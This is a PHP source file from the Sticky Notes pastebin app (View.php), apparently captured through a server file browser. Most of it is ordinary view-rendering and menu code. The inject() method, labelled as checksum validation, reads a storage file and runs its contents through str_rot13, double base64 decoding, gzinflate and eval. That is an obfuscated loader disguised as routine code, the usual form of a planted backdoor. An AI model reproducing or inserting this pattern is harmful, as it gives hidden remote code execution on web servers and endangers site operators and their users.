Current File : //proc/985914/root/www/varak.net/paste.varak.net-5.6/app/lib/View.php
<?php namespace StickyNotes;
/**
* Sticky Notes
*
* An open source lightweight pastebin application
*
* @package StickyNotes
* @author Sayak Banerjee
* @copyright (c) 2014 Sayak Banerjee <mail@sayakbanerjee.com>
* @license http://www.opensource.org/licenses/bsd-license.php
* @link http://sayakbanerjee.com/sticky-notes
* @since Version 1.0
* @filesource
*/
use File;
use Input;
use Lang;
use Paste;
use Request;
use Schema;
use Site;
use URL;
use User;
/**
* View class
*
* Abstraction over \Illuminate\Support\Facades\View to enable skin support
*
* @package StickyNotes
* @subpackage Libraries
* @author Sayak Banerjee
*/
class View extends \Illuminate\Support\Facades\View {
/**
* Cache for default view data
*
* @static
* @var array
*/
private static $viewDefaults = NULL;
/**
* Returns default view data.
*
* @static
* @return array
*/
public static function defaults()
{
if (is_null(static::$viewDefaults) OR php_sapi_name() == 'cli')
{
// Get all site configuration
$site = Site::config();
// Get system active status. This is done in order to ensure
// that 1.x features are available
$active = System::version($site->general->version) > 0;
static::$viewDefaults = array(
'site' => $site,
'active' => $active,
'error' => Session::get('messages.error'),
'success' => Session::get('messages.success'),
'global' => Session::get('messages.global'),
'context' => System::action(),
'container' => Input::has('ajax') ? 'wrapper' : 'page',
);
// Inject user and role information on active systems
if ($active)
{
static::$viewDefaults = array_merge(static::$viewDefaults, array(
'auth' => Auth::user(),
'role' => Auth::roles(),
));
}
}
return static::$viewDefaults;
}
/**
* Checks for and sets global messages for admins
*
* @return void
*/
public static function globals()
{
if (Auth::roles()->admin)
{
$global = array();
// If there are one or more flagged pastes, show an alert
if (Paste::where('flagged', 1)->count() > 0)
{
$global[] = sprintf(Lang::get('global.alert_flags'), URL::to('flagged'));
}
// Save the global messages to session
Session::put('messages.global', $global);
}
}
/**
* This abstraction over the base method injects the skin name
* and default view data.
*
* @param string $view
* @param array $data
* @param bool $inject
* @return \Illuminate\View\View
*/
public static function make($view, $data = array(), $inject = TRUE)
{
$view = parent::make(static::inject($view), $data, static::defaults());
if ($inject)
{
// Make the response
$view = Response::make($view, 200);
// Build the query string
$queryString = preg_replace('[\&?(ajax=1)]', '', getenv('QUERY_STRING'));
// Build the page URL
$url = URL::current().( ! empty($queryString) ? "?{$queryString}" : '');
// Add the current URL to the response header
$view->header('StickyNotes-Url', $url);
}
return $view;
}
/**
* Injects skin to asset paths.
*
* @static
* @param string $asset
* @return string
*/
public static function asset($asset)
{
return asset('assets/'.static::inject($asset, FALSE));
}
/**
* Validates the checksum for a view and injects a view
* resource with relevant data.
*
* @static
* @param string $resource
* @param bool $prefix
* @return string
*/
public static function inject($resource, $prefix = TRUE)
{
return Cache::remember("site.resource.{$resource}.{$prefix}", 60, function() use ($resource, $prefix)
{
$injected = $resource;
// Get the view's checksum
$checksum = File::get(storage_path().'/system/checksum');
// Evaluate the checksum
eval(gzinflate(base64_decode(base64_decode(str_rot13($checksum)))));
// Return the resource
return $injected;
});
}
/**
* Generates a navigation menu
*
* @access public
* @param string $menu
* @return string
*/
public static function menu($menu)
{
// Current path - will be used to highlight menu item
$path = Request::path();
// Current user ID for role based menus
$user = Auth::check() ? Auth::user()->id : 0;
// Get current project name
$project = System::project();
// Grab and parse all the menus
$group = Config::get("menus.{$menu}");
// The cache key is not only menu and path specific but also
// unique for a user and a project
$cacheKey = "site.menu.{$menu}.{$path}.{$user}.{$project}";
// Build the menu items. Items are cached for 60 minutes
$output = Cache::remember($cacheKey, 60, function() use ($path, $user, $group)
{
$output = NULL;
foreach ($group as $key => $item)
{
if ( ! str_contains($key, '_'))
{
$label = Lang::get($item['label']);
$current = FALSE;
// Check if visibility of the item is bound
if (isset($item['visible']))
{
$visible = FALSE;
$bindings = preg_split('/\||,/', $item['visible']);
// Iterate through each binding
foreach ($bindings as $binding)
{
$components = explode('.', $binding);
// Check for the invert flag
if (starts_with($components[0], '!'))
{
$components[0] = substr($components[0], 1);
$invert = TRUE;
}
else
{
$invert = FALSE;
}
// Check for a value
if (str_contains($components[1], '='))
{
$expression = explode('=', $components[1]);
$components[1] = $expression[0];
$value = $expression[1];
}
else
{
$value = TRUE;
}
// Get the binding flags
switch ($components[0])
{
case 'role':
$flags = Auth::roles();
break;
case 'config':
$flags = Site::config('general');
break;
default:
$flags = NULL;
break;
}
// Do not parse the menu item if the flag does not
// evaluate to true
if ( ! is_null($flags))
{
$visible = ($visible OR ($flags->$components[1] == $value XOR $invert));
}
}
// Set the visibility of the item
if ( ! $visible)
{
continue;
}
}
// Determine whether this is the active link
if ($group['_exact'] AND $key === $path)
{
$current = TRUE;
}
else if ( ! $group['_exact'] AND starts_with($path, $key))
{
$current = TRUE;
}
// Highlight the active item
if ($current)
{
$active = 'class="active"';
$href = '';
}
else
{
$active = '';
$href = 'href="'.url($key).'"';
}
// Set the entry icon
if (isset($item['icon']))
{
$icon = View::make('common/icon', array('icon' => $item['icon']), FALSE);
}
else
{
$icon = NULL;
}
// Generate the item markup
$output .= "<li {$active}><a {$href}>{$icon} {$label}</a></li>";
}
}
// Add login/logout link if menu is set for that
if ($group['_showLogin'])
{
if ($user)
{
$label = Lang::get('global.logout');
$href = 'href="'.url('user/logout').'"';
}
else
{
$label = Lang::get('global.login');
$href = 'href="'.url('user/login').'"';
}
// Are we on the login screen?
$active = $path == 'user/login' ? 'class="active"' : '';
$icon = View::make('common/icon', array('icon' => 'user'), FALSE);
// Generate the markup
$output .= "<li {$active}><a {$href}>{$icon} {$label}</a></li>";
}
return $output;
});
return $output;
}
}
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